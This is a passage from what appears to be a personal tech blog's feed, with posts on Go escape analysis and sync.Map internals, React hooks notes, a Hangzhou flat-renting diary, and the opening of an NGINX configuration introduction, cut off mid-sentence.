<content type="html"><![CDATA[<h2 id="内存管理"><a class="markdownIt-Anchor" href="#内存管理"></a> 内存管理</h2><p>内存管理主要包括两个动作:分配与释放。逃逸分析服务于内存分配,而内存的释放由GC负责。</p><span id="more"></span><h2 id="堆与栈"><a class="markdownIt-Anchor" href="#堆与栈"></a> 堆与栈</h2><p>在函数中申请一个对象,如果分配在栈中,函数执行结束时自动回收,如果分配在堆中,则在函数结束后某个时间点进行垃圾回收。</p><p>在栈上分配和回收内存的开销很低,只需要 2 个 CPU 指令:PUSH 和 POP,一个是将数据 push 到栈空间以完成分配,pop 则是释放空间,也就是说在栈上分配内存,消耗的仅是将数据拷贝到内存的时间,而内存的 I/O 通常能够达到 30GB/s,因此在栈上分配内存效率是非常高的。</p><p>在堆上分配内存,一个很大的额外开销则是垃圾回收。Go 语言使用的是标记清除算法,并且在此基础上使用了三色标记法和写屏障技术,提高了效率。</p><h2 id="逃逸分析"><a class="markdownIt-Anchor" href="#逃逸分析"></a> 逃逸分析</h2><p>C 语言,使用 <code>malloc</code> 和 <code>free</code> 手动在堆上分配和回收内存。Go 语言,堆内存是通过垃圾回收机制自动管理。</p><p>Go 编译器怎么知道某个变量需要分配在栈上,还是堆上呢?编译器决定内存分配位置的方式,就称之为逃逸分析(escape analysis)。逃逸分析由编译器完成,作用于编译阶段。</p><h3 id="指针逃逸"><a class="markdownIt-Anchor" href="#指针逃逸"></a> 指针逃逸</h3><p>在函数中创建了一个对象,返回了这个对象的指针。这种情况下,函数虽然退出了,但是因为指针的存在,对象的内存不能随着函数结束而回收,因此只能分配在堆上。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main </span><br><span class="line"> </span><br><span class="line"><span class="keyword">import</span> <span class="string">"fmt"</span> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">type</span> Demo <span class="keyword">struct</span> { </span><br><span class="line"> name <span class="type">string</span> </span><br><span class="line">} </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">createDemo</span><span class="params">(name <span class="type">string</span>)</span></span> *Demo { </span><br><span class="line"> d := <span class="built_in">new</span>(Demo) <span class="comment">// 局部变量 d 逃逸到堆 </span></span><br><span class="line"> d.name = name </span><br><span class="line"> <span class="keyword">return</span> d </span><br><span class="line">} </span><br><span class="line"> </span><br><span class="line"><span class="comment">// go build -gcflags=-m escape.go </span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> { </span><br><span class="line"> demo := createDemo(<span class="string">"demo"</span>) </span><br><span class="line"> fmt.Println(demo) </span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">╰─❯ go build -gcflags=-m escape.go</span><br><span class="line"># command-line-arguments</span><br><span class="line">./escape.go:9:6: can inline createDemo</span><br><span class="line">./escape.go:17:20: inlining call to createDemo</span><br><span class="line">./escape.go:18:13: inlining call to fmt.Println</span><br><span class="line">./escape.go:9:17: leaking param: name</span><br><span class="line">./escape.go:10:10: new(Demo) escapes to heap</span><br><span class="line">./escape.go:17:20: new(Demo) escapes to heap</span><br><span class="line">./escape.go:18:13: ... argument does not escape</span><br></pre></td></tr></table></figure><p><code>new(Demo) escapes to heap</code> 即表示 <code>new(Demo)</code> 逃逸到堆上了。</p><h3 id="interface-动态类型逃逸"><a class="markdownIt-Anchor" href="#interface-动态类型逃逸"></a> interface{} 动态类型逃逸</h3><p>在 Go 语言中,空接口即 <code>interface{}</code> 可以表示任意的类型,如果函数参数为 <code>interface{}</code>,编译期间很难确定其参数的具体类型,也会发生逃逸。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> { </span><br><span class="line">demo := createDemo(<span class="string">"demo"</span>) </span><br><span class="line">fmt.Println(demo) </span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight maxima"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./main_pointer.<span class="built_in">go</span>:<span class="number">18</span>:<span class="number">13</span>: <span class="built_in">demo</span> escapes to heap</span><br></pre></td></tr></table></figure><p><code>demo</code> 是 main 函数中的一个局部变量,该变量作为实参传递给 <code>fmt.Println()</code>,但是因为 <code>fmt.Println()</code> 的参数类型定义为 <code>interface{}</code>,因此也发生了逃逸。</p><h3 id="栈空间不足"><a class="markdownIt-Anchor" href="#栈空间不足"></a> 栈空间不足</h3><p>操作系统对内核线程使用的栈空间是有大小限制的,64 位系统上通常是 8 MB。可以使用 <code>ulimit -a</code> 命令查看机器上栈允许占用的内存的大小。</p><p>因为栈空间通常比较小,因此递归函数实现不当时,容易导致栈溢出(stack overflow)。</p><p>Go,运行时(runtime) 尝试在 goroutine 需要的时候动态地分配栈空间,goroutine 的初始栈大小为 2 KB。当 goroutine 被调度时,会绑定内核线程执行,栈空间大小也不会超过操作系统的限制。</p><p>对 Go 编译器而言,超过一定大小的局部变量将逃逸到堆上,不同的 Go 版本的大小限制可能不一样。</p><p><code>make([]int, 8191)</code> 没有发生逃逸,<code>make([]int, 8192)</code> 和<code>make([]int, n)</code> 逃逸到堆上,也就是说,当切片占用内存超过一定大小,或无法确定当前切片长度时,对象占用内存将在堆上分配。</p><h3 id="闭包"><a class="markdownIt-Anchor" href="#闭包"></a> 闭包</h3><blockquote><p>一个函数和对其周围状态(lexical environment,词法环境)的引用捆绑在一起(或者说函数被引用包围),这样的组合就是闭包(closure)。也就是说,<code>闭包让你可以在一个内层函数中访问到其外层函数的作用域</code>。</p></blockquote><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">Increase</span><span class="params">()</span></span> <span class="function"><span class="keyword">func</span><span class="params">()</span></span> <span class="type">int</span> { </span><br><span class="line">n := <span class="number">0</span> </span><br><span class="line"><span class="keyword">return</span> <span class="function"><span class="keyword">func</span><span class="params">()</span></span> <span class="type">int</span> { </span><br><span class="line">n++ </span><br><span class="line"><span class="keyword">return</span> n </span><br><span class="line">} </span><br><span class="line">} </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> { </span><br><span class="line">in := Increase() </span><br><span class="line">fmt.Println(in()) <span class="comment">// 1 </span></span><br><span class="line">fmt.Println(in()) <span class="comment">// 2 </span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>Increase()</code> 返回值是一个闭包函数,该闭包函数访问了外部变量 n,那变量 n 将会一直存在,直到 <code>in</code> 被销毁。很显然,变量 n 占用的内存不能随着函数 <code>Increase()</code> 的退出而回收,因此将会逃逸到堆上。</p><h2 id="利用逃逸分析提升性能"><a class="markdownIt-Anchor" href="#利用逃逸分析提升性能"></a> 利用逃逸分析提升性能</h2><p>传值会拷贝整个对象,而传指针只会拷贝指针地址,指向的对象是同一个。传指针可以减少值的拷贝,但是会导致内存分配逃逸到堆中,增加垃圾回收(GC)的负担。在对象频繁创建和删除的场景下,传递指针导致的 GC 开销可能会严重影响性能。</p><p>一般情况下,对于需要修改原对象值,或占用内存比较大的结构体,选择传指针。对于只读的占用内存较小的结构体,直接传值能够获得更好的性能。</p><h2 id="参考"><a class="markdownIt-Anchor" href="#参考"></a> 参考</h2><blockquote><p>1 <a href="https://geektutu.com/post/hpg-escape-analysis.html">Go 逃逸分析 | Go 语言高性能编程 | 极客兔兔</a></p></blockquote>]]></content>
<summary type="html"><h2 id="内存管理"><a class="markdownIt-Anchor" href="#内存管理"></a> 内存管理</h2>
<p>内存管理主要包括两个动作:分配与释放。逃逸分析服务于内存分配,而内存的释放由GC负责。</p></summary>
<category term="Golang" scheme="https://blog.lancelot.top/tags/Golang/"/>
</entry>
<entry>
<title>sync.Map原理</title>
<link href="https://blog.lancelot.top/2024/03/sync-Map%E5%8E%9F%E7%90%86/"/>
<id>https://blog.lancelot.top/2024/03/sync-Map%E5%8E%9F%E7%90%86/</id>
<published>2024-03-27T04:29:58.000Z</published>
<updated>2024-04-06T10:36:07.922Z</updated>
<content type="html"><![CDATA[<p>普通map的实现不是并发安全,并发读写会painc</p><blockquote><p>思想:读写分离,以空间换时间,动态调整</p></blockquote><span id="more"></span><h2 id="用法"><a class="markdownIt-Anchor" href="#用法"></a> 用法</h2><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">Test_sync_map</span><span class="params">(t *testing.T)</span></span> { </span><br><span class="line"> <span class="keyword">var</span> smp sync.Map </span><br><span class="line"> smp.Store(<span class="string">"a"</span>, <span class="string">"111111"</span>) </span><br><span class="line"> smp.Store(<span class="string">"b"</span>, <span class="string">"222"</span>) </span><br><span class="line"> smp.Store(<span class="string">"c"</span>, <span class="string">"222"</span>) </span><br><span class="line"> smp.Store(<span class="string">"d"</span>, <span class="string">"222"</span>) </span><br><span class="line"> </span><br><span class="line"> <span class="comment">// load </span></span><br><span class="line"> v, ok := smp.Load(<span class="string">"a"</span>) </span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> !ok { </span><br><span class="line"> t.Error(<span class="string">"a not exist"</span>) </span><br><span class="line"> <span class="keyword">return</span> </span><br><span class="line"> } </span><br><span class="line"> str, _ := v.(<span class="type">string</span>) </span><br><span class="line"> smp.Range(<span class="function"><span class="keyword">func</span><span class="params">(key, value any)</span></span> <span class="type">bool</span> { </span><br><span class="line"> t.Logf(<span class="string">"key:%v value:%v"</span>, key, value) </span><br><span class="line"> <span class="keyword">return</span> key != <span class="string">"c"</span> </span><br><span class="line"> }) </span><br><span class="line"> t.Log(str) </span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="数据结构"><a class="markdownIt-Anchor" href="#数据结构"></a> 数据结构</h2><p>思路,类似缓存机制<br>sync.map:空间换时间,一个 map 只读(无锁化),一个 map 读写(上锁)<br>得到 misses 阈值会进行 read map 和 dirty map 的更新轮换</p><p><img src="/2024/03/sync-Map%E5%8E%9F%E7%90%86/image-20240326235028794.png" alt></p><h3 id="entry"><a class="markdownIt-Anchor" href="#entry"></a> entry</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> entry <span class="keyword">struct</span> { </span><br><span class="line"> p atomic.Pointer[any] </span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>三种状态<br>1 存活态:正常指向元素<br>2 软删除态:nil<br>3 硬删除态:指向expunged</p><p>如果key value 被软删除,dirty仍然存在,如果再插入,可以不用加锁,借助CAS(Compare And Swap比较交换,是一种无锁原子算法)<br>如果key value 被硬删除,则需要加锁</p><h3 id="readonly"><a class="markdownIt-Anchor" href="#readonly"></a> readOnly</h3><p>如果amended为false,说明可以直接用<br>否则访问dirty兜底</p><h2 id="读流程"><a class="markdownIt-Anchor" href="#读流程"></a> 读流程</h2><p><img src="/2024/03/sync-Map%E5%8E%9F%E7%90%86/image-20240327000200431.png" alt></p><h2 id="写流程"><a class="markdownIt-Anchor" href="#写流程"></a> 写流程</h2><p><img src="/2024/03/sync-Map%E5%8E%9F%E7%90%86/image-20240327000807513.png" alt></p><p>如果amended 是false<br>dirtyLocked,</p><blockquote><p>因为entry是指针,readOnly和dirty,所以修改是同步的</p></blockquote><p>missLock 把更新的数据覆盖到read,同时dirty置nil O(1)<br>dirtyLock 把read的数据拷贝回dirty(把被删除的屏蔽掉)O(n)<br>dirty 一定不存在硬删除态</p><p>希望dirtyLock尽可能少<br>missLock -> store全新的key value对 ->dirtyLock,<mark>写(插入)多读少</mark></p><h2 id="删流程"><a class="markdownIt-Anchor" href="#删流程"></a> 删流程</h2><p><img src="/2024/03/sync-Map%E5%8E%9F%E7%90%86/image-20240327002941535.png" alt></p><p>在dirty会做物理意义上的删除<br>而read只会做软删除<br>misscnt也会在删除累加</p><h2 id="遍历流程"><a class="markdownIt-Anchor" href="#遍历流程"></a> 遍历流程</h2><p><img src="/2024/03/sync-Map%E5%8E%9F%E7%90%86/image-20240327003433907.png" alt></p><h2 id="软硬删除"><a class="markdownIt-Anchor" href="#软硬删除"></a> 软硬删除</h2><h3 id="为什么用-expunged-标识硬删除态"><a class="markdownIt-Anchor" href="#为什么用-expunged-标识硬删除态"></a> 为什么用 expunged 标识硬删除态</h3><p>软删除:key-value仍存在,nil,插入CAS操作,无需加锁<br>硬删除:只会在dirtyLock出现,一定不会在dirty map存在。要保证dirty比read全</p><h2 id="数据流转"><a class="markdownIt-Anchor" href="#数据流转"></a> 数据流转</h2><p>d->r big O(1),因为要遍历除掉硬删除和软删除<br><img src="/2024/03/sync-Map%E5%8E%9F%E7%90%86/image-20240327004118520.png" alt></p><p>r->d O(n)</p><p><img src="/2024/03/sync-Map%E5%8E%9F%E7%90%86/image-20240327004154817.png" alt></p><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><ul><li>适用于读多、更新多、删除多、插入少的场景</li><li>若插入次数太多,sync.Map等价于互斥锁+map</li><li>sync.Map可能存在性能抖动问题,在读/删流程miss readOnly 次数过多时(触发missLocked 流程),下一次插入操作的过程中(dirtyLocked流程)</li></ul><h2 id="参考"><a class="markdownIt-Anchor" href="#参考"></a> 参考</h2><blockquote><p>1 <a href="https://mp.weixin.qq.com/s/nMuCMA8ONnhs1lsTVMcNgA">Golang sync.Map 实现原理</a><br>2 <a href="https://pkg.go.dev/golang.org/x/sync/syncmap">syncmap package - golang.org/x/sync/syncmap - Go Packages</a></p></blockquote>]]></content>
<summary type="html"><p>普通map的实现不是并发安全,并发读写会painc</p>
<blockquote>
<p>思想:读写分离,以空间换时间,动态调整</p>
</blockquote></summary>
<category term="Golang" scheme="https://blog.lancelot.top/tags/Golang/"/>
<category term="并发" scheme="https://blog.lancelot.top/tags/%E5%B9%B6%E5%8F%91/"/>
<category term="面经" scheme="https://blog.lancelot.top/tags/%E9%9D%A2%E7%BB%8F/"/>
</entry>
<entry>
<title>React文档阅读记录</title>
<link href="https://blog.lancelot.top/2024/01/React%E6%96%87%E6%A1%A3%E9%98%85%E8%AF%BB%E8%AE%B0%E5%BD%95/"/>
<id>https://blog.lancelot.top/2024/01/React%E6%96%87%E6%A1%A3%E9%98%85%E8%AF%BB%E8%AE%B0%E5%BD%95/</id>
<published>2024-01-24T16:00:00.000Z</published>
<updated>2024-04-05T11:05:19.464Z</updated>
<content type="html"><![CDATA[<p>由于之前对React的学习更多依赖于阅读Github上的高star项目,所以常常需要调出文档来读。虽然是React的文档不如Vue的中文文档易读(只能说React的翻译很奇怪),但是细品可以发现,文档写的还是很不错的(相较于Redux的 <code>论文文档</code>)。于是开个坑记录一些有意思的东西。</p><span id="more"></span><hr><h2 id="props"><a class="markdownIt-Anchor" href="#props"></a> Props</h2><p>当 React 元素为用户自定义组件时,它会将 JSX 所接收的属性(attributes)以及子组件(children)转换为单个对象传递给组件,这个对象被称之为 “props”。</p><p>类似插槽</p><p>当 props 和 state 发生变化时,React 会重新渲染整个组件</p><h2 id="hook"><a class="markdownIt-Anchor" href="#hook"></a> Hook</h2><p>别人做好的东西,你直接拿来用产出自己的东西</p><p>yysy,我也是因为Hook才入React的坑的。如果停留在类的模式,那Vue不香吗?</p><h3 id="usestate"><a class="markdownIt-Anchor" href="#usestate"></a> useState</h3><p>state可以和Vue的data类别,但react的state和vue的data还是有很大区别的,Vue的data是和虚拟dom双向绑定的,React的state需要通过setState进行修改,是一个单向过程,而且在更新过程中的钩子函数中修改的话,会造成死循环。</p><p>另外,有一个函数式更新</p><p>如果新的 state 需要通过使用先前的 state 计算得出,那么可以将函数传递给 <code>setState</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">setCount(prevCount => prevCount - 1)</span><br></pre></td></tr></table></figure><p><code>useState</code> 不会自动合并更新对象</p><p><code>useReducer</code> 是另一种可选方案,它更适合用于管理包含多个子值的 state 对象。</p><h3 id="useeffect"><a class="markdownIt-Anchor" href="#useeffect"></a> useEffect</h3><p>可以把 <code>useEffect</code> Hook 看做 <code>componentDidMount</code>,<code>componentDidUpdate</code> 和 <code>componentWillUnmount</code> 这三个函数的组合</p><p>阻止每次重新渲染都会执行 useEffect</p><p>如果希望 <code>effect</code> 较少运行,可以提供第二个参数 - 值数组。 将它们视为该<code>effect</code>的依赖关系。 如果其中一个依赖项自上次更改后,<code>effect</code>将再次运行。实现性能的优化</p><p>仅在挂载和卸载的时候执行</p><p>如果想执行只运行一次的 <code>effect</code>(仅在组件挂载和卸载时执行),可以传递一个空数组(<code>[]</code>)作为第二个参数。这就告诉 React 你的 <code>effect</code> 不依赖于 <code>props</code> 或 <code>state</code> 中的任何值,所以它永远都不需要重复执行。这并不属于特殊情况 —— 它依然遵循依赖数组的工作方式。</p><h2 id="tip"><a class="markdownIt-Anchor" href="#tip"></a> Tip</h2><p><code><></></code>不占用Dom</p>]]></content>
<summary type="html"><p>由于之前对React的学习更多依赖于阅读Github上的高star项目,所以常常需要调出文档来读。虽然是React的文档不如Vue的中文文档易读(只能说React的翻译很奇怪),但是细品可以发现,文档写的还是很不错的(相较于Redux的 <code>论文文档</code>)。于是开个坑记录一些有意思的东西。</p></summary>
</entry>
<entry>
<title>2022打工记录</title>
<link href="https://blog.lancelot.top/2022/05/2022%E6%89%93%E5%B7%A5%E8%AE%B0%E5%BD%95/"/>
<id>https://blog.lancelot.top/2022/05/2022%E6%89%93%E5%B7%A5%E8%AE%B0%E5%BD%95/</id>
<published>2022-05-15T16:00:00.000Z</published>
<updated>2024-04-05T11:02:34.705Z</updated>
<content type="html"><![CDATA[<blockquote><p>自3月12日离开学校来到杭州已有两月有余,遂浅记一下这段不长不短的历程。</p></blockquote><span id="more"></span><h2 id="工作"><a class="markdownIt-Anchor" href="#工作"></a> 工作</h2><h2 id="租房"><a class="markdownIt-Anchor" href="#租房"></a> 租房</h2><p>租房决定的比较草率,主要因为这是哈哈帮我找的房子且有The Sky哥哥陪我一起看房,所以比较马。人生第一次租房,曾在自如和链家等平台看了一些房子,筛选要求其实也很简单,因为是一个人住:</p><ul><li>通勤方便,要求步行30min可到公司</li><li>便宜(实习工资微薄)<br>看了一圈发现单房租在1.5k内就可以解决了,然后哈哈在贝壳给我推了一个房子。居住体验大体良好,不过有几个坑点:</li><li>面积虚标,平台标注面积10平,可是The Sky哥哥和我自己VR实测发现只有9平左右。</li><li>合租人太多,推测整个房子有6人、5房间和2卫,早上上班可能得“卷厕所”</li><li>公共区域卫生担忧,尤其是厨房味道太大</li></ul><p>以下内容引用同学的经验:</p><blockquote><p>一般租房渠道分为这几种,1.专门的中介平台,比如 自如、贝壳等,这一类平台比私人中介相对靠谱一些,价格也偏高,一般收取房租加上每个月月租的10%作为服务费,然后我看网上很多帖子吐槽说这类中介平台是利益导向,收齐钱之后后期保障的维修以及服务便形同虚设了,加上签合同是和公司签,有事情解决的时候容易踢皮球。2.私人中介,有一些中介是专门从房东那里签委托协议,然后将房子装修然后转租出去从而赚取差价,从这类私人中介手中签署会相对较专门平台便宜,但同时也要辨别真实性和靠谱性,也有可能出现交钱之后没人管,人跑路的情况。并且有的会要求签约一年,假如没组满时间需要帮他们转租,否则克扣押金3.二房东,这类二房东大多是从中介公司手上签约房子,然后室友搬出去了或者想找另一个签约平摊费用,和二房东签约一定要了解清楚二房东有没有转租权,并且约定的期限有没有在他与业主签约期限范围内。每种渠道都有优势和风险,一定要认真甄别介绍房子的人靠不靠谱,以及不要相信一切的口头承诺,要以合同为准。<br>签合同的期限以及方式大多是押一付三,也就是交一个月的房租为押金,交齐剩下三个月的租金,一般租房需要缴纳的费用不是只有租金的,还有水电网费、取暖费、燃气费、卫生费、管理费以及电梯费等等,在签约之前一定要了解清楚,还有一点容易被坑的地方是押金,有比较坑的房东是你只租三个月,但和你签约一年的合同,剩下时间需要个人转租,没有转租成功便不退还押金,若转租成功则扣除中间的房子闲置费用。除此之外,房东会在你退房交接的时候,指出一堆是你人为造成的费用,然后大量克扣。<br>租房子最好是要现场看,光看视频和图片是无法察觉出一些隐含的问题,有的房子看起来表现光鲜亮丽,实际上可能使用起来都是坏的,比如厕所的水压、马桶、花洒还有房间里的空调都要测试一下,有的房东承诺会包换包维修,但一旦钱都交给他们了,那可能就未必了。很多中介都会开广角镜头拍摄房子照片,使得房子看起来很大很亮堂,造成一种假象,认真甄别。房子的朝向南向最好,北向最糟糕,一楼潮湿最好不要选,实地看房的时候要留意小区治安、路灯以及周围小店和商圈情况,要注意自己的安全。<br>社会教的第一堂课是不要相信销售的嘴,在线上和中介聊天的时候,他们发来房子信息之后便会邀约看房,便制造出房子稀缺得赶紧定的氛围,等实际看房之后,不停的夸,说“我很了解这周边房子行情,像这样户型的房子能有这个价钱真的是很难得”。当客户表现出中意的态度,便会立马赶鸭子上架,提出签约,表示机不可失时不再来,一定要趁早下手,等周末或者明后天房子就没了,如果客户表示再看看会不停的问有什么顾虑啥的。还有一类中介会说“你今天能签嘛,你要是能签,那我和那边谈,把价格降到多少多少”。搞得会不好意思拒绝,我当时看房那几天每天都被中介打电话,考虑的咋样了?合同能不能签啥的。我也曾一度纠结,中意但出于纠结当中,怕下手晚了没有好房子,又担心错过了其他更好房子的机会。但其实,事实的真相是,好房子有很多,也不会像中介说的那样被抢光了,仔细一想这两天哪有那么大的租房市场,大家全去同一个地方租房,所以一定要耐心挑选,多看几家,同时确定自己租房的核心需求,选择匹配度最高的就好。</p></blockquote>]]></content>
<summary type="html"><blockquote>
<p>自3月12日离开学校来到杭州已有两月有余,遂浅记一下这段不长不短的历程。</p>
</blockquote></summary>
</entry>
<entry>
<title>An Introduction to NGINX for Developers</title>
<link href="https://blog.lancelot.top/2022/04/An%20Introduction%20to%20NGINX%20for%20Developers/"/>
<id>https://blog.lancelot.top/2022/04/An%20Introduction%20to%20NGINX%20for%20Developers/</id>
<published>2022-04-30T12:22:00.000Z</published>
<updated>2024-04-04T12:29:13.772Z</updated>
<content type="html"><![CDATA[<p>Picture this - you’ve created a web application and are now searching for the right web server to host it from.</p><p>Your application might consist of multiple static files — HTML, CSS, and JavaScript, a backend API service or even multiple webservices. Using Nginx might be what you are looking for, and there are couple of reasons for that.</p><p>NGINX is a powerful web server and uses a non-threaded, event-driven architecture that enables it to outperform Apache if configured correctly. It can also do other important things, such as load balancing, HTTP caching, or be used as a reverse proxy.</p><p>NGINX Architecture</p><p>In this article, I’ll cover a few basic steps about how to install and configure the most common parts of NGINX.</p><h2 id="basic-installation-architecture"><a class="markdownIt-Anchor" href="#basic-installation-architecture"></a> <strong>Basic Installation — Architecture</strong></h2><p>There are two ways to install NGINX, either using a pre-built binary or building it up from source.</p><p>The first method is much easiest and faster, but building it up from source provides the ability to include various third-party modules that make NGINX even more powerful. It allows us to customize it to fit the needs of the application.</p><p>To install a prebuilt Debian package, the only thing you have to do is:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get updatesudo apt-get install nginx</span><br></pre></td></tr></table></figure><p>After the installation process has finished, you can verify everything is OK by running the command below, which should print the latest version of NGINX.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo nginx -vnginx version: nginx/1.6.2</span><br></pre></td></tr></table></figure><p>Your new webserver will be installed at the location <code>/etc/nginx****/****</code>. If you go inside this folder, you will see several files and folders. The most important ones that will require our attention later are the file <code>nginx.conf</code> and the folder <code>sites-available</code>.</p><h2 id="configuration-settings"><a class="markdownIt-Anchor" href="#configuration-settings"></a> <strong>Configuration Settings</strong></h2><p>The core settings of NGINX are in the <code>nginx.conf</code> file, which by default looks like this.</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">user</span> www-data;</span><br><span class="line"><span class="attribute">worker_processes</span> <span class="number">4</span>;</span><br><span class="line"><span class="attribute">pid</span> /run/nginx.pid;</span><br><span class="line"></span><br><span class="line"><span class="section">events</span> {</span><br><span class="line"> <span class="attribute">worker_connections</span> <span class="number">768</span>;</span><br><span class="line"> <span class="comment"># multi_accept on;</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="section">http</span> {</span><br><span class="line"> <span class="attribute">sendfile</span> <span class="literal">on</span>;</span><br><span class="line"> <span class="attribute">tcp_nopush</span> <span class="literal">on</span>;</span><br><span class="line"> <span class="attribute">tcp_nodelay</span> <span class="literal">on</span>;</span><br><span class="line"> <span class="attribute">keepalive_timeout</span> <span class="number">65</span>;</span><br><span class="line"> <span class="attribute">types_hash_max_size</span> <span class="number">2048</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment"># server_tokens off;</span></span><br><span class="line"> <span class="comment"># server_names_hash_bucket_size 64;</span></span><br><span class="line"> <span class="comment"># server_name_in_redirect off;</span></span><br><span class="line"></span><br><span class="line"> <span class="attribute">include</span> /etc/nginx/mime.types;</span><br><span class="line"> <span class="attribute">default_type</span> application/octet-stream;</span><br><span class="line"></span><br><span class="line"> <span class="attribute">access_log</span> /var/log/nginx/access.log;</span><br><span class="line"> <span class="attribute">error_log</span> /var/log/nginx/<span class="literal">error</span>.log;</span><br><span class="line"></span><br><span class="line"> <span class="attribute">gzip</span> <span class="literal">on</span>;</span><br><span class="line"> <span class="attribute">gzip_disable</span> <span class="string">"msie6"</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment"># gzip_vary on;</span></span><br><span class="line"> <span class="comment"># gzip_proxied any;</span></span><br><span class="line"> <span class="comment"># gzip_comp_level 6;</span></span><br><span class="line"> <span class="comment"># gzip_buffers 16 8k;</span></span><br><span class="line"> <span class="comment"># gzip_http_version 1.1;</span></span><br><span class="line"> <span class="comment"># gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript;</span></span><br><span class="line"></span><br><span class="line"> <span class="attribute">include</span> /etc/nginx/conf.d/<span class="regexp">*.conf</span>;</span><br><span class="line"> <span class="attribute">include</span> /etc/nginx/sites-enabled/*;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>The file is structured into <strong><strong>Contexts</strong></strong>. The first one is the <strong><strong>events</strong></strong> Context, and the second one is the <strong><strong>http</strong></strong> Context. This structure enables some advanced layering of your configuration as each context can have other nested contexts that inherit everything from their parent but can also override a setting as needed.</p><p>Various things in this file can be tweaked based on your needs, but NGINX is so simple to use that you can go along even with the default settings. Some of the most important pieces of the NGINX config file are:</p><ul><li><strong><strong>worker_processes:</strong></strong> This setting defines the number of worker processes that NGINX will use. Because NGINX is single threaded, this number should usually be equal to the number of CPU cores.</li><li><strong><strong>worker_connections:</strong></strong> This is the maximum number of simultaneous connections for each worker process and tells our worker processes how many people can simultaneously be served by NGINX. The bigger it is, the more simultaneous users the NGINX will be able to serve.</li><li><strong><strong>access_log & error_log:</strong></strong> These are the files that NGINX will use to log any erros and access attempts. These logs are generally reviewed for debugging and troubleshooting.</li><li><strong><strong>gzip:</strong></strong> These are the settings for GZIP compression of NGINX responses. Enabling this one along with the various sub-settings that by default are commented out will result in a quite a big performance upgrade. From the sub-settings of GZIP, care should be taken for the gzip_comp_level, which is the level of compression and ranges from 1 to 10. Generally, this value should 